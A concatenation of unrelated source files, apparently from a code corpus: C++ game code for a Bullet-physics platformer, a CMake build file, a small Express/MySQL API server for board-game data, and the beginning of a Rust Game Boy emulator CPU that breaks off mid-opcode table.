m_velocityTimeInterval = timeInterval; } void KinematicCharacterController::reset () { m_jumpSpeed = 20.0f; m_fallSpeed = 0.0f; m_onGround = false; m_groundObject = NULL; } void KinematicCharacterController::warp (const btVector3& origin) { btTransform xform; xform.setIdentity(); xform.setOrigin (origin); m_ghostObject->setWorldTransform (xform); } void KinematicCharacterController::preStep ( btCollisionWorld* collisionWorld) { int numPenetrationLoops = 0; m_touchingContact = false; while (recoverFromPenetration (collisionWorld)) { numPenetrationLoops++; m_touchingContact = true; if (numPenetrationLoops > 4) { // printf("character could not recover from penetration = %d\n", numPenetrationLoops); break; } } m_currentPosition = m_ghostObject->getWorldTransform().getOrigin(); m_targetPosition = m_currentPosition; // printf("m_targetPosition=%f,%f,%f\n",m_targetPosition[0],m_targetPosition[1],m_targetPosition[2]); } void KinematicCharacterController::playerStep ( btCollisionWorld* collisionWorld, btScalar dt) { // printf("playerStep(): "); // printf(" dt = %f", dt); // quick check... if (!m_useWalkDirection && m_velocityTimeInterval <= 0.0) { // printf("\n"); return; // no motion } btTransform xform; xform = m_ghostObject->getWorldTransform (); // printf("walkDirection(%f,%f,%f)\n",walkDirection[0],walkDirection[1],walkDirection[2]); // printf("walkSpeed=%f\n",walkSpeed); stepUp (collisionWorld); if (m_useWalkDirection) { stepForwardAndStrafe (collisionWorld, m_walkDirection); } else { //printf(" time: %f", m_velocityTimeInterval); // still have some time left for moving! btScalar dtMoving = (dt < m_velocityTimeInterval) ? dt : m_velocityTimeInterval; m_velocityTimeInterval -= dt; // how far will we move while we are moving? btVector3 move = m_walkDirection * dtMoving; // printf(" dtMoving: %f", dtMoving); // okay, step stepForwardAndStrafe(collisionWorld, move); } stepDown (collisionWorld, dt); // printf("\n"); xform.setOrigin (m_currentPosition); m_ghostObject->setWorldTransform (xform); } void KinematicCharacterController::setFallSpeed (btScalar fallSpeed) { m_fallSpeed = fallSpeed; } void KinematicCharacterController::setJumpSpeed (btScalar jumpSpeed) { m_jumpSpeed = jumpSpeed; } void KinematicCharacterController::setMaxJumpHeight (btScalar maxJumpHeight) { m_maxJumpHeight = maxJumpHeight; } bool KinematicCharacterController::canJump () const { return onGround(); } void KinematicCharacterController::jump () { if (!canJump()) return; m_fallSpeed = m_jumpSpeed; } bool KinematicCharacterController::onGround() const { return m_onGround; } bool KinematicCharacterController::frontalHit() { bool result = m_forwardHit; m_forwardHit = false; return result; } void *KinematicCharacterController::getGroundObject() { return m_groundObject; } void KinematicCharacterController::debugDraw(btIDebugDraw* debugDrawer) { } void KinematicCharacterController::setUseGhostSweepTest(bool useGhostObjectSweepTest) { m_useGhostObjectSweepTest = useGhostObjectSweepTest; }<file_sep>#starjumper root CMakeLists.txt CMAKE_MINIMUM_REQUIRED( VERSION 2.6 ) PROJECT( StarJumper ) #include cmake modules to find osg, osgw and osgb SET( CMAKE_MODULE_PATH "${PROJECT_SOURCE_DIR}/CMakeModules;${CMAKE_MODULE_PATH}" ) #define where to place starjumper.exe, this should be the root dirctory so models an other files can be found #SET( EXECUTABLE_OUTPUT_PATH ${PROJECT_BINARY_DIR}/bintest ) #MAKE_DIRECTORY( ${EXECUTABLE_OUTPUT_PATH} ) #MARK_AS_ADVANCED( EXECUTABLE_OUTPUT_PATH ) SET( EXECUTABLE_OUTPUT_PATH "../bin/" ) #enable multi processor building with Windows, OSX coming soon IF( WIN32 AND MSVC ) OPTION( WIN32_USE_MP "Build with multiple processors." ON ) MARK_AS_ADVANCED( WIN32_USE_MP ) IF( WIN32_USE_MP ) SET( CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} /MP" ) ENDIF( WIN32_USE_MP ) ENDIF( WIN32 AND MSVC ) #add cmake macros INCLUDE( CMakeMacros ) #try to find necessary libraries FIND_PACKAGE( OSG REQUIRED ) FIND_PACKAGE( OSGWorks REQUIRED ) FIND_PACKAGE( Bullet REQUIRED ) FIND_PACKAGE( OSGBullet REQUIRED ) FIND_PACKAGE ( OpenAL REQUIRED ) FIND_PACKAGE ( ALUT REQUIRED ) FIND_PACKAGE ( OGG REQUIRED ) FIND_PACKAGE ( Vorbis REQUIRED ) FIND_PACKAGE ( VorbisFile REQUIRED ) SET(OPENAL_INCLUDE_DIRS ${OPENAL_INCLUDE_DIR}) #include necessary files INCLUDE_DIRECTORIES( include lib/alure-1.1/include ${OSG_INCLUDE_DIR} ${BULLET_INCLUDE_DIR} ${OSGWORKS_INCLUDE_DIR} ${OSGBULLET_INCLUDE_DIR} ${OPENAL_INCLUDE_DIR} ${VORBIS_INCLUDE_DIR} ${VORBISFILE_INCLUDE_DIR} ) ADD_SUBDIRECTORY(src) ADD_SUBDIRECTORY(lib/alure-1.1) #ADD_SUBDIRECTORY(include)<file_sep>#include "Sound.h" Sound *Sound::_instance = NULL; Sound::Sound() { alureInitDevice(NULL, NULL); } Sound *Sound::getInstance() { if (!_instance) _instance = new Sound(); return _instance; } void Sound::loadFromFile(std::string filename) { ALuint source; alGenSources(1, &source); alSourcei(source, AL_BUFFER, alureCreateBufferFromFile(filename.c_str())); _sounds[filename] = source; } void Sound::playSound(std::string key) { alSourcei(_sounds[key], AL_LOOPING, AL_FALSE); alSourcePlay(_sounds[key]); } void Sound::playInLoop(std::string key) { alSourcei(_sounds[key], AL_LOOPING, AL_TRUE); alSourcePlay(_sounds[key]); } void Sound::stop(std::string key) { alSourceStop(_sounds[key]); } void Sound::stopAll() { for (std::map<std::string, ALuint>::iterator i = _sounds.begin(); i != _sounds.end(); ++i) stop(i->first); } Sound::~Sound() { alureShutdownDevice(); }<file_sep>#include "PlayerState.h" PlayerState::PlayerState() { reset(); } void PlayerState::reset() { _speed = 0.0f; _angleX = 0.0f; _angleY = 0.0f; _directionX = 0; _direction = btVector3(0,0,4); _requestMoveLeft = false; _requestMoveRight = false; _requestAccelerate = false; _requestDecelerate = false; _requestJump = false; _dead = false; } float PlayerState::getSpeed() const { return _speed; } void PlayerState::setSpeed(const float speed) { _speed = speed; } float PlayerState::getAngleX() const { return _angleX; } void PlayerState::setAngleX(const float angle) { _angleX = angle; } float PlayerState::getAngleY() const { return _angleY; } void PlayerState::setAngleY(const float angle) { _angleY = angle; } int PlayerState::getDirectionX() const { return _directionX; } void PlayerState::setDirectionX(const int directionX) { _directionX = directionX; } btVector3 &PlayerState::getDirection() { return _direction; } void PlayerState::setDirection(btVector3 &direction) { _direction = direction; } void PlayerState::setRequestMoveLeft(const bool activate) { _requestMoveLeft = activate; } void PlayerState::setRequestMoveRight(const bool activate) { _requestMoveRight = activate; } void PlayerState::setRequestAccelerate(const bool activate) { _requestAccelerate = activate; } void PlayerState::setRequestDecelerate(const bool activate) { _requestDecelerate = activate; } void PlayerState::setRequestJump(const bool activate) { _requestJump = activate; } bool PlayerState::requestMoveLeft() const { return _requestMoveLeft; } bool PlayerState::requestMoveRight() const { return _requestMoveRight; } bool PlayerState::requestAccelerate() const { return _requestAccelerate; } bool PlayerState::requestDecelerate() const { return _requestDecelerate; } bool PlayerState::requestJump() const { return _requestJump; } void PlayerState::beDead() { _dead = true; } void PlayerState::beAlive() { _dead = false; } bool PlayerState::isDead() const { return _dead; }
1a4c59c511ecd44ed4f7dfabf88b006a6ad9e446
[ "CMake", "Markdown", "Python", "C", "C++" ]
46
C++
starjumper/Starjumper
252eb813708eee740d5aba43af17fad44de6be79
8d4318aa821a2a73f1e9f937c48f071d56ea4f8f
refs/heads/master
<repo_name>mikewilcox/list<file_sep>/readme.md Simple list. Abandoned. Unmaintained. <file_sep>/app/model/Item.js define([ 'dojo/_base/declare', 'dx-mvc/model/Model', 'dx-mvc/model/Behavior', 'dx-mvc/model/Validation' ], function(declare, Model, Behavior, Validation){ return declare([ Model, Behavior, Validation ], { _schema: { id: Model.NUMBER, label: Model.STRING, description: Model.STRING, location: Model.STRING, category: Model.STRING }, _defaults: { id: null, label: "Untitled", description: "", location:"", category:"" }, _validators: { label: { required:true } } }); });
437cb4bb12eba3aa4c8fed5ce0fc9ff842ba4113
[ "Markdown", "JavaScript" ]
2
Markdown
mikewilcox/list
e82c040e788e082b7685b7fb7ba4f5f995fa3dd5
0d728582e27ef73ff96a95be6dc3edb359736302
refs/heads/master
<repo_name>hemalakshmi/90Days_ChallengeSession<file_sep>/Day2_FloydsTriangle.java package challengeSession; import java.util.Scanner; public class Day2_FloydsTriangle { public static void main(String[] args) { // TODO Auto-generated method stub int rows; System.out.println("Enter the number of rows: "); Scanner sc= new Scanner(System.in); rows = sc.nextInt(); sc.close(); int num=1; for(int eachRow=1;eachRow<=rows;eachRow++) { for(int eachcol=1;eachcol<=eachRow;eachcol++) { System.out.format("%-3d", num++); //System.out.format("*", num++); } System.out.println(""); } } } <file_sep>/Day3_MethodOverloading.java package challengeSession; public class Day3_MethodOverloading { public int numb(int a,int b) { int add= a+b; return add; } public int numb(int a,int b,int c) { int add= a+b+c; return add; } public float numb(float a,float b,float c) { float add= a+b+c; return add; } public static void main(String[] args) { // TODO Auto-generated method stub Day3_MethodOverloading mo= new Day3_MethodOverloading(); int x=mo.numb(2,3); System.out.println("Sum of two numbers: "+ x); int y=mo.numb(11,22,33); System.out.println("Sum of three numbers: "+ y); float z=mo.numb(5.5f,8f,3.6f); System.out.println("Sum of four numbers: "+ z); } }
6afc806f603ccb43b9ba18ba9ad17a31570690a0
[ "Java" ]
2
Java
hemalakshmi/90Days_ChallengeSession
77731460d7b4207c94ff3e079571c9e5e7fc496a
542ba3fcfce652407c41f7f7a05d109cee4be72c
refs/heads/master
<file_sep>package main.com.acalabrese.sorters; /** * A sorting interface that all of the sorters must implement. */ public abstract class SorterBase { protected int numberOfComparisons; /** * Sorts a list of comparables. * * @param arr * @return a new list in sorted order. */ public abstract Comparable[] sort(Comparable[] arr); /** * Returns the number of comparisons done on the previous sort call. */ public int getNumberOfComparisons() { return numberOfComparisons; } /** * Used to swap two values at the given indices */ public void swap(Comparable[] arr, int index1, int index2) { Comparable temp = arr[index1]; arr[index1] = arr[index2]; arr[index2] = temp; } } <file_sep>package test.com.acalabrese.sorters; import junit.framework.TestCase; import main.com.acalabrese.sorters.BubbleSorter; import main.com.acalabrese.sorters.InsertionSorter; import main.com.acalabrese.sorters.SelectionSorter; import main.com.acalabrese.sorters.SorterBase; import org.junit.Rule; import org.junit.Test; import org.junit.rules.TestName; import org.junit.runner.RunWith; import org.junit.runners.Parameterized; import java.util.Arrays; import java.util.Collection; import java.util.Random; /** * A base testing class all of the sorter tests will extend in order to get various methods that * could be useful. */ @RunWith(Parameterized.class) public class SorterBaseTest extends TestCase { // Used to print out the list of sorted values public final static boolean PRINT_LISTS = false; public final static int MAX_PRINT_LIST_SIZE = 20; // Used to print out the number of comparisons public final static boolean PRINT_COMPARISONS = false; // The highest random value that this base class will provide if not given an upper bound. protected final static int MAX_RANDOM_VALUE = 10000; protected final static int SMALL_SIZE = 10; protected final static int MEDIUM_SIZE = 100; protected final static int LARGE_SIZE = 1000; private SorterBase sorterBase; @Rule public TestName name; public SorterBaseTest(SorterBase sorterBase) { this.sorterBase = sorterBase; name = new TestName(); } /* * Test Methods */ @Test public void testOneElement() { testSorter(sorterBase, new Integer[]{1}, name.getMethodName()); } @Test public void testSortedElementSmallList() { testSorter(sorterBase, getSortedList(SMALL_SIZE), name.getMethodName()); } @Test public void testSortedElementMediumList() { testSorter(sorterBase, getSortedList(MEDIUM_SIZE), name.getMethodName()); } @Test public void testSortedElementLargeList() { testSorter(sorterBase, getSortedList(LARGE_SIZE), name.getMethodName()); } @Test public void testRandomElementSmallList() { testSorter(sorterBase, getRandomList(SMALL_SIZE), name.getMethodName()); } @Test public void testRandomElementMediumList() { testSorter(sorterBase, getRandomList(MEDIUM_SIZE), name.getMethodName()); } @Test public void testRandomElementLargeList() { testSorter(sorterBase, getRandomList(LARGE_SIZE), name.getMethodName()); } /** * Tests the sorter on the given list */ protected boolean testSorter(SorterBase sorter, Integer[] list, String testName) { // The list "sorted" Integer[] newList = (Integer[]) sorter.sort(list); boolean res = isSorted(newList); String outputString = testName + " " + (res ? "Passed" : "Failed") + "\n"; if (PRINT_LISTS && MAX_PRINT_LIST_SIZE > newList.length) { String newListString = ""; String listString = ""; for (int i = 0; i < newList.length; i++) { newListString += newList[i] + " "; listString += list[i] + " "; } outputString += "Unsorted list : " + listString + "\n"; outputString += "Sorted list : " + newListString + "\n"; } if (PRINT_COMPARISONS) { outputString += "Number of comparisons : " + sorter.getNumberOfComparisons() + "\n"; } System.out.println(outputString); return res; } /** * Provides a list of integers of the given size and the list will be sorted. */ protected Integer[] getSortedList(int size) { Integer[] list = new Integer[size]; for (int i = 0; i < size; i++) { list[i] = i; } return list; } /** * Returns a list of random numbers, where the max number in that list is 10000 */ protected Integer[] getRandomList(int size) { return getRandomList(size, MAX_RANDOM_VALUE); } /** * Returns a list of random numbers, where the max number in that list is maxValue * * @param size the size of the list * @param maxValue the highest value for the numbers */ protected Integer[] getRandomList(int size, int maxValue) { Random random = new Random(); Integer[] list = new Integer[size]; for (int i = 0; i < size; i++) { list[i] = random.nextInt(maxValue); } return list; } /** * Tests a list to see if it is sorted */ protected boolean isSorted(Comparable[] list) { for (int i = 0; i < list.length - 1; i++) { if (list[i].compareTo(list[i + 1]) > 0) { return false; } } return true; } @Parameterized.Parameters public static Collection<Object[]> instancesToTest() { return (Collection<Object[]>) Arrays.asList( new Object[]{new BubbleSorter()}, new Object[]{new SelectionSorter()}, new Object[]{new InsertionSorter()} ); } }<file_sep># Algorithms A collection of common algorithms. # Description This repository contains a set of useful algorithms and data structures that are essential in the understanding of computer science. Accompanied with this repository is a list of tutorials on my website. Each algorithm, or data structure will be paired with JUnit tests that can be used to further understand and verify the classes. # Structure Each package in the main directory has a corresponding test directory. Currently the following topics are included: Sorters - Various sorting algorithms such as Insertion Sort, Bubble Sort, and Merge Sort <file_sep>package main.com.acalabrese.sorters; /** * Sorts a list of numbers using insertion sort. * <p/> * Insertion sort is a sorting algorithm also known as Poker Hand Sort. The idea is we will take * first element in the non-sorted portion of the list, and compare it from the top of the sorted * section down until there is a spot where it can fit. * <p/> * Average Case: O(n) * Worst Case: O(n^2) * Best Case: O(n^2) */ public class InsertionSorter extends SorterBase { @Override public Comparable[] sort(Comparable[] arr) { // Create a new copy of the array Comparable[] newArr = arr.clone(); // Zero out the number of comparisons numberOfComparisons = 0; // We will be constantly shrinking the unsorted portion for (int sortedIndex = 1 ; sortedIndex < newArr.length - 1 ; sortedIndex++) { for (int index = sortedIndex ; index > 0 && newArr[index].compareTo(newArr[index - 1]) < 0 ; index--) { // Each incrementation of this should be a swap, and is therefore a comparison numberOfComparisons++; swap(newArr, index, index - 1); } } return newArr; } }
95c67acbb8ac0b3281b773aef06db12c41b220d3
[ "Markdown", "Java" ]
4
Java
B50calabrese/Algorithms
bda3d1e21d56de5aa5c993396a161558bedba700
d0863b66d15c2d1631b01c3fe2a1c35778610962
refs/heads/master
<file_sep>//load libraries const express = require('express'), path = require('path'), cors = require('cors'), morgan = require('morgan'), mysql = require('mysql'), hbs = require('express-handlebars'); const SELECT_GAMES = 'select * from game order by ranking limit ? offset ?'; const SELECT_COMMENTS_BY_GID = 'select * from comment where gid = ?'; //1: SELECT, SEARCH, INSERT 2. Name of table //3: Criteria. let available = false; //configure the app const PORT = parseInt(process.argv[2] || process.env.APP_PORT) || 3000; //create an instance of the application const app = express(); //create connection pool //const pool = mysql.createPool(config); const pool = mysql.createPool(require('./config')); app.use(morgan('tiny')); //or 'combined' app.use(cors()); app.engine('hbs', hbs({ defaultLayout: 'main.hbs' })); app.set('view engine', 'hbs'); // app.use((req, resp) => { // resp.status(200).type('text/html') // .send(`the current time is ${new Date()}`) // }) //define the request app is handling app.use((req, resp, next) => { if (available) { return next(); } resp.status(503).format({ 'application/json': () => { resp.json({ message: 'Service is currently unavailable.' }) }, 'default': () => { resp.render('Service is currently unavailable.') }, }) }) //GET /health to return 200 or 500 //external party to call this every minute //use curl mysqladmin ping -uroot -proot app.get('/health', (req, resp) => { //ping the database }) //GET /api/comments/:gid app.get('/api/comments/:gid', (req, resp, next) => { const gid = req.params.gid; console.log('gid is', gid) if (!gid) { resp.status(404).json({ message: 'Need gid to search comment.' }); } pool.getConnection((err, conn) => { if (err) { return resp.status(500).json(err); } conn.query(SELECT_COMMENTS_BY_GID, [gid], (err, result) => { if (err) { resp.status(500).json(err); } else { if (!result) { resp.status(404).json({message: 'No such gid'}); } else { resp.status(200).json(result); } } }) }) }) app.get('/api/games', (req, resp) => { const offset = parseInt(req.query['offset']) || 0; const limit = parseInt(req.query['limit']) || 20; pool.getConnection((err, conn) => { conn.query( SELECT_GAMES, //the SQL [limit, offset], (err, result) => { //function to handle the result conn.release(); //if you want to perform further queries, don't release connection //good practice to release before you handle error / result's return if (err) { resp.status(500).type('application/json') .json({ error: JSON.stringify(err) }) return; } result.map(e => { e.comment = ''; return e; }); //e['comment'] will also work resp.status(200).type('application/json') .json(result) } ) }) }) pool.getConnection((err, conn, next) => { //Even if getConnection has error, start server ?to send the error? app.listen(PORT, () => { console.log(`App Server started on ${PORT}`) }) if (err) { available = false; console.log(`DB availability is: ${available}`); } else { conn.ping((err) => { available = !err; conn.release(); console.log(`DB availability is: ${available}`); }) } }) // Serve static files from the angular app app.use(express.static(path.join(__dirname, 'public', 'dist', 'client'))); //the last one is error response app.use((req, resp) => { resp.status(404).type('text/html') .json({ message: 'Bad link.' }) })
228bb05813ea0f4b9fe2db30277d67249dca7a02
[ "JavaScript" ]
1
JavaScript
maryanahermawan/bbg-app
c1cf6b11ff4f51f189d08376301799fe97964374
e97ffb78f036a3725e559430583c3bc15f3ab9b2
refs/heads/master
<repo_name>cordaz1990/practice-nov25-19<file_sep>/practice.py print("hello") prin
073ed3d2796d8c8768738ab7f955baa0065ec893
[ "Python" ]
1
Python
cordaz1990/practice-nov25-19
ad7d483a14deac45adba5e1cd7fb49e1f25330f6
7be685ba2d30fd0324745cc93ef975d196234660
refs/heads/master
<repo_name>Simon-Hostettler/Corroded-Boy<file_sep>/corroded_boy/src/memory.rs pub struct Memory {} impl Memory { pub fn new() -> Memory { Memory {} } pub fn read_byte(&self, addr: u16) -> u8 { 0 } pub fn write_byte(&self, addr: u16, value: u8) {} pub fn read_word(&self, addr: u16) -> u16 { 0 } pub fn write_word(&self, addr: u16, value: u16) {} } <file_sep>/corroded_boy/src/cpu.rs use crate::memory::Memory; use crate::register::Flags::{FC, FH, FN, FZ}; use crate::register::RegisterFile; use crate::register::Registers16b::{AF, BC, DE, HL, SP}; use crate::register::Registers8b::{A, B, C, D, E, F, H, L}; use crate::register::{Registers16b, Registers8b}; const instr_cycles: [u8; 256] = [ 1, 3, 2, 2, 1, 1, 2, 1, 4, 2, 2, 2, 1, 1, 2, 1, 1, 3, 2, 2, 1, 1, 2, 1, 3, 2, 2, 2, 1, 1, 2, 1, 2, 3, 2, 2, 1, 1, 2, 1, 2, 2, 2, 2, 1, 1, 2, 1, 2, 3, 2, 2, 3, 3, 3, 1, 2, 2, 2, 2, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 2, 1, 2, 2, 2, 2, 2, 2, 1, 2, 1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 2, 1, 2, 3, 3, 4, 3, 4, 2, 4, 2, 4, 3, 1, 3, 6, 2, 4, 2, 3, 3, 0, 3, 4, 2, 4, 2, 4, 3, 0, 3, 0, 2, 4, 3, 3, 2, 0, 0, 4, 2, 4, 4, 1, 4, 0, 0, 0, 2, 4, 3, 3, 2, 1, 0, 4, 2, 4, 3, 2, 4, 1, 0, 0, 2, 4, ]; const cb_instr_cycles: [u8; 256] = [ 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 3, 2, 2, 2, 2, 2, 2, 2, 3, 2, 2, 2, 2, 2, 2, 2, 3, 2, 2, 2, 2, 2, 2, 2, 3, 2, 2, 2, 2, 2, 2, 2, 3, 2, 2, 2, 2, 2, 2, 2, 3, 2, 2, 2, 2, 2, 2, 2, 3, 2, 2, 2, 2, 2, 2, 2, 3, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 4, 2, ]; pub struct CPU { pub reg: RegisterFile, pub mem: Memory, pub is_halted: bool, pub ime: bool, } impl CPU { pub fn new() -> CPU { CPU { reg: RegisterFile::new(), mem: Memory::new(), is_halted: false, ime: false, } } fn execute(&mut self) { let operation = self.fetch_byte(); match operation { 0x00 => {} //nop 0x01 => { let val = self.fetch_word(); self.reg.write_16b(BC, val); } 0x02 => self.mem.write_byte(self.reg.read_16b(BC), self.reg.a), 0x03 => self .reg .write_16b(BC, self.reg.read_16b(BC).wrapping_add(1)), 0x04 => self.alu_inc(B), 0x05 => self.alu_dec(B), 0x06 => self.reg.b = self.fetch_byte(), 0x07 => { self.reg.a = self.alu_rlc(self.reg.a); self.reg.set_flag(FZ, false); } 0x08 => { let val = self.fetch_word(); self.mem.write_word(val, self.reg.sp); } 0x09 => self.alu_add_16b(BC), 0x0A => self.reg.a = self.mem.read_byte(self.reg.read_16b(BC)), 0x0B => self .reg .write_16b(BC, self.reg.read_16b(BC).wrapping_sub(1)), 0x0C => self.alu_inc(C), 0x0D => self.alu_dec(C), 0x0E => self.reg.c = self.fetch_byte(), 0x0F => { self.reg.a = self.alu_rrc(self.reg.a); self.reg.set_flag(FZ, false); } 0x10 => {} //TODO STOP FUNCTION 0x11 => { let val = self.fetch_word(); self.reg.write_16b(DE, val); } 0x12 => self.mem.write_byte(self.reg.read_16b(DE), self.reg.a), 0x13 => self .reg .write_16b(DE, self.reg.read_16b(DE).wrapping_add(1)), 0x14 => self.alu_inc(D), 0x15 => self.alu_dec(D), 0x16 => self.reg.d = self.fetch_byte(), 0x17 => { self.reg.a = self.alu_rl(self.reg.a); self.reg.set_flag(FZ, false); } 0x18 => self.jr(true), 0x19 => self.alu_add_16b(DE), 0x1A => self.reg.a = self.mem.read_byte(self.reg.read_16b(DE)), 0x1B => self .reg .write_16b(DE, self.reg.read_16b(BC).wrapping_sub(1)), 0x1C => self.alu_inc(E), 0x1D => self.alu_dec(E), 0x1E => self.reg.e = self.fetch_byte(), 0x1F => { self.reg.a = self.alu_rr(self.reg.a); self.reg.set_flag(FZ, false); } 0x20 => self.jr(!self.reg.get_flag(FZ)), 0x21 => { let val = self.fetch_word(); self.reg.write_16b(HL, val); } 0x22 => self.mem.write_byte(self.reg.hl_inc(), self.reg.a), 0x23 => self .reg .write_16b(HL, self.reg.read_16b(HL).wrapping_add(1)), 0x24 => self.alu_inc(H), 0x25 => self.alu_dec(H), 0x26 => self.reg.h = self.fetch_byte(), 0x27 => self.alu_daa(), 0x28 => self.jr(self.reg.get_flag(FZ)), 0x29 => self.alu_add_16b(HL), 0x2A => self.reg.a = self.mem.read_byte(self.reg.hl_inc()), 0x2B => self .reg .write_16b(HL, self.reg.read_16b(BC).wrapping_sub(1)), 0x2C => self.alu_inc(L), 0x2D => self.alu_dec(L), 0x2E => self.reg.l = self.fetch_byte(), 0x2F => { self.reg.a ^= 0xFF; self.reg.set_flag(FN, true); self.reg.set_flag(FH, true); } 0x30 => self.jr(!self.reg.get_flag(FC)), 0x31 => self.reg.sp = self.fetch_word(), 0x32 => self.mem.write_byte(self.reg.hl_dec(), self.reg.a), 0x33 => self.reg.sp = self.reg.sp.wrapping_add(1), 0x34 => self.mem_inc(self.reg.read_16b(HL)), 0x35 => self.mem_dec(self.reg.read_16b(HL)), 0x36 => { let val = self.fetch_byte(); self.mem.write_byte(self.reg.read_16b(HL), val); } 0x37 => self .reg .set_flags(self.reg.get_flag(FZ), false, false, true), 0x38 => self.jr(self.reg.get_flag(FC)), 0x39 => self.alu_add_16b(SP), 0x3A => self.reg.a = self.mem.read_byte(self.reg.hl_dec()), 0x3B => self.reg.sp = self.reg.sp.wrapping_sub(1), 0x3C => self.alu_inc(A), 0x3D => self.alu_dec(A), 0x3E => self.reg.a = self.fetch_byte(), 0x3F => self .reg .set_flags(self.reg.get_flag(FZ), false, false, !self.reg.get_flag(FC)), 0x40 => self.reg.b = self.reg.b, 0x41 => self.reg.b = self.reg.c, 0x42 => self.reg.b = self.reg.d, 0x43 => self.reg.b = self.reg.e, 0x44 => self.reg.b = self.reg.h, 0x45 => self.reg.b = self.reg.l, 0x46 => self.reg.b = self.mem.read_byte(self.reg.read_16b(HL)), 0x47 => self.reg.b = self.reg.a, 0x48 => self.reg.c = self.reg.b, 0x49 => self.reg.c = self.reg.c, 0x4B => self.reg.c = self.reg.d, 0x4C => self.reg.c = self.reg.e, 0x4D => self.reg.c = self.reg.h, 0x4A => self.reg.c = self.reg.l, 0x4E => self.reg.c = self.mem.read_byte(self.reg.read_16b(HL)), 0x4F => self.reg.c = self.reg.a, 0x50 => self.reg.d = self.reg.b, 0x51 => self.reg.d = self.reg.c, 0x52 => self.reg.d = self.reg.d, 0x53 => self.reg.d = self.reg.e, 0x54 => self.reg.d = self.reg.h, 0x55 => self.reg.d = self.reg.l, 0x56 => self.reg.d = self.mem.read_byte(self.reg.read_16b(HL)), 0x57 => self.reg.d = self.reg.a, 0x58 => self.reg.e = self.reg.b, 0x59 => self.reg.e = self.reg.c, 0x5A => self.reg.e = self.reg.d, 0x5B => self.reg.e = self.reg.e, 0x5C => self.reg.e = self.reg.h, 0x5D => self.reg.e = self.reg.l, 0x5E => self.reg.e = self.mem.read_byte(self.reg.read_16b(HL)), 0x5F => self.reg.e = self.reg.a, 0x60 => self.reg.h = self.reg.b, 0x61 => self.reg.h = self.reg.c, 0x62 => self.reg.h = self.reg.d, 0x63 => self.reg.h = self.reg.e, 0x64 => self.reg.h = self.reg.h, 0x65 => self.reg.h = self.reg.l, 0x66 => self.reg.h = self.mem.read_byte(self.reg.read_16b(HL)), 0x67 => self.reg.h = self.reg.a, 0x68 => self.reg.l = self.reg.b, 0x69 => self.reg.l = self.reg.c, 0x6A => self.reg.l = self.reg.d, 0x6B => self.reg.l = self.reg.e, 0x6C => self.reg.l = self.reg.h, 0x6D => self.reg.l = self.reg.l, 0x6E => self.reg.l = self.mem.read_byte(self.reg.read_16b(HL)), 0x6F => self.reg.l = self.reg.a, 0x70 => self.mem.write_byte(self.reg.read_16b(HL), self.reg.b), 0x71 => self.mem.write_byte(self.reg.read_16b(HL), self.reg.c), 0x72 => self.mem.write_byte(self.reg.read_16b(HL), self.reg.d), 0x73 => self.mem.write_byte(self.reg.read_16b(HL), self.reg.e), 0x74 => self.mem.write_byte(self.reg.read_16b(HL), self.reg.h), 0x75 => self.mem.write_byte(self.reg.read_16b(HL), self.reg.l), 0x76 => self.is_halted = true, 0x77 => self.mem.write_byte(self.reg.read_16b(HL), self.reg.a), 0x78 => self.reg.a = self.reg.b, 0x79 => self.reg.a = self.reg.c, 0x7A => self.reg.a = self.reg.d, 0x7B => self.reg.a = self.reg.e, 0x7C => self.reg.a = self.reg.h, 0x7D => self.reg.a = self.reg.l, 0x7E => self.reg.a = self.mem.read_byte(self.reg.read_16b(HL)), 0x7F => self.reg.a = self.reg.a, 0x80 => self.alu_add(self.reg.b), 0x81 => self.alu_add(self.reg.c), 0x82 => self.alu_add(self.reg.d), 0x83 => self.alu_add(self.reg.e), 0x84 => self.alu_add(self.reg.h), 0x85 => self.alu_add(self.reg.l), 0x86 => self.alu_add(self.mem.read_byte(self.reg.read_16b(HL))), 0x87 => self.alu_add(self.reg.a), 0x88 => self.alu_adc(self.reg.b), 0x89 => self.alu_adc(self.reg.c), 0x8A => self.alu_adc(self.reg.d), 0x8B => self.alu_adc(self.reg.e), 0x8C => self.alu_adc(self.reg.h), 0x8D => self.alu_adc(self.reg.l), 0x8E => self.alu_add(self.mem.read_byte(self.reg.read_16b(HL))), 0x8F => self.alu_adc(self.reg.a), 0x90 => self.alu_sub(self.reg.b), 0x91 => self.alu_sub(self.reg.c), 0x92 => self.alu_sub(self.reg.d), 0x93 => self.alu_sub(self.reg.e), 0x94 => self.alu_sub(self.reg.h), 0x95 => self.alu_sub(self.reg.l), 0x96 => self.alu_sub(self.mem.read_byte(self.reg.read_16b(HL))), 0x97 => self.alu_sub(self.reg.a), 0x98 => self.alu_sbc(self.reg.b), 0x99 => 